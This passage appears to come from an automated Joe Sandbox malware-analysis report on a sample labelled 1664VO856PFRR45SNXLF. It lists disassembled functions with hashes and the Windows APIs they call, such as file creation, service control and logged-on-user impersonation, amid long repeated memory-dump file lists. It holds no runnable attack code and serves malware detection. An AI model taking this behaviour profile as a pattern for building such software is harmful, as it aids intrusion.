Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: 4ed31c0a3995640fa6878a3a751eb3077822bd27197fddcc233c65d9c8912ad8
Instruction ID: 77780c222c5d6b885c2a353f2a361d442f74daef1fd97521d2780f0a2ddd8be0
Opcode Fuzzy Hash: 4ed31c0a3995640fa6878a3a751eb3077822bd27197fddcc233c65d9c8912ad8
Instruction Fuzzy Hash: 1B0128B660820E5EE7048F50D810AEFB7A8FF82734F35402AFD41EBA81D7B51D458B91

Function 00E1E877 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID: T@8J
API String ID: 823142352-2485640796
Opcode ID: 3cfd0e1356b455a8f1f3fa62c6e7b362f6f376face57d55cbfaafde49cf0c7ec
Instruction ID: 7e4a5c5f1b98cfd887f75aab79f1626b8c2bcfcd531796fad68d82f5cf04f5e8
Opcode Fuzzy Hash: 3cfd0e1356b455a8f1f3fa62c6e7b362f6f376face57d55cbfaafde49cf0c7ec
Instruction Fuzzy Hash: 060121B620410E9FE7048F5089004EFB7A8FF86739B354229FD4297A41DBB11C6A8BA4

Function 00E1EA80 Relevance: 1.6, APIs: 1, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E1EAC7

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f7bcf415a2ab464e63aba9069eb909128bdffd713e962467ddcdf47b8572587d
Instruction ID: bcd38ec630d90dc2628ba9b3206c7ce11564d48cf36b591bddbb26c2983595b2
Opcode Fuzzy Hash: f7bcf415a2ab464e63aba9069eb909128bdffd713e962467ddcdf47b8572587d
Instruction Fuzzy Hash: 0E11D3B210C295ADF3058F255D50AFA7BA8EB82730F20595FFC82D2542D2A61D458635

Function 00E1EA8F Relevance: 1.6, APIs: 1, Instructions: 70
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00E1EAC7

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 712df50b644f28163af0ae0f1cdd781deed18f0ffc35d0459b0f6cd7b45d5b48
Instruction ID: 7598bc2f46bb21514775cc1eb5ff34abe0e89a62542035cdcad3361ce5a632cf
Opcode Fuzzy Hash: 712df50b644f28163af0ae0f1cdd781deed18f0ffc35d0459b0f6cd7b45d5b48
Instruction Fuzzy Hash: D311A5F600C6A16DE3118F685E60AFEBFA8EE87330B35594AFC82D6143C3651A469635

Function 06B40D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06B40DCD

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: dc8f58413d7703bb01678ec4501d9453a5f5e37b75a5241fcbea4c7c6e689d22
Instruction ID: e7f0291b42844ed56fb50b30d6a00604bdf2aef638215df463685cf05fdf39a6
Opcode Fuzzy Hash: dc8f58413d7703bb01678ec4501d9453a5f5e37b75a5241fcbea4c7c6e689d22
Instruction Fuzzy Hash: 692113B6C012189FCB54EF99D884ADEFBF4FF88310F14815AD908AB204D734A544CBA5

Function 06B40D43 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 06B40DCD

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 62b3def94ba21cab9615989be82fcd2215f97c75c335167c08af75a132f160ce
Instruction ID: 8597b7dec91e9919c02c8595d221dd1121a5d5c9740b88a12482da4c0588feba
Opcode Fuzzy Hash: 62b3def94ba21cab9615989be82fcd2215f97c75c335167c08af75a132f160ce
Instruction Fuzzy Hash: 8E2115B6C002099FCB44DF99D484ADEFBF5FF88310F14816AD908AB244D734A545CBA4

Function 06B41510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 06B41580

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 677dd9f63525ae9103cc199ae5d747330ba8ab8a361e4f6c6b37a16cdecb9ffb
Instruction ID: 9c88a1271356fc2838792c5fad9dda76b1cfb1527b29c86157e92dcb29bb3e6f
Opcode Fuzzy Hash: 677dd9f63525ae9103cc199ae5d747330ba8ab8a361e4f6c6b37a16cdecb9ffb
Instruction Fuzzy Hash: 3011E4B1D002499FDB10DF9AC584BEEFBF8FB48320F148029E559A3250D778A644CFA5

Function 06B41509 Relevance: 1.6, APIs: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 06B41580

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d182869e3518ce4a368e37baa57e0391a741dcb7d0336865134c2f2e974d2490
Instruction ID: b7f7f4e958e0947ad13538fb92323ae5c6659c5d9ee1cc86274891f1f5f96b07
Opcode Fuzzy Hash: d182869e3518ce4a368e37baa57e0391a741dcb7d0336865134c2f2e974d2490
Instruction Fuzzy Hash: BA2103B5D00249CFDB10DF9AD584BEEBBF4FB48310F14802AD559A3250D738A644CFA5

Function 06B41301 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 06B41367

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: da6d8719e3ec3a9c2bc5ed43e3728a6b7ea2b53d91d27a945e04e2882ed66e6c
Instruction ID: dab147ed35ef2086e502ca1463cf16d5f70666a36e29437af53ca396fb3dd102
Opcode Fuzzy Hash: da6d8719e3ec3a9c2bc5ed43e3728a6b7ea2b53d91d27a945e04e2882ed66e6c
Instruction Fuzzy Hash: 1D1116B1800249CFDB10DF9AC545BEEFBF8EF48320F14846AD958A7240D778A544CFA5

Function 06B41308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 06B41367

Memory Dump Source

Source File: 00000003.00000002.2442535347.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6b40000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 54089e2c7d13c75db3811c5b6515ec8d5e60c5819bfb15d568c45e1343faa64d
Instruction ID: 81d19e76f9305e4b306b45a716d07e1d435e5bc26d5cf135a2638f5b2f3df07c
Opcode Fuzzy Hash: 54089e2c7d13c75db3811c5b6515ec8d5e60c5819bfb15d568c45e1343faa64d
Instruction Fuzzy Hash: DE1106B1800249CFDB20DF9AC545BEEFBF8EF48324F14846AD558A3650D778A584CFA5

Function 00E1EC05 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00E1EC49

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 786eea557d774c9b4a81e9026629b747bdc091005f6bfcd2e48d9bab886cbaaa
Instruction ID: d1780a00b2fcecd395ca88dd11a7f4f39d0c15d0faef0413dfa4cc2d235952ec
Opcode Fuzzy Hash: 786eea557d774c9b4a81e9026629b747bdc091005f6bfcd2e48d9bab886cbaaa
Instruction Fuzzy Hash: 0CD02BFA1481813CD1105250AE95AFEC59DC7C0720B34585CF843D5243C1941CC12162

Function 00E1EC14 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00E1EC49

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
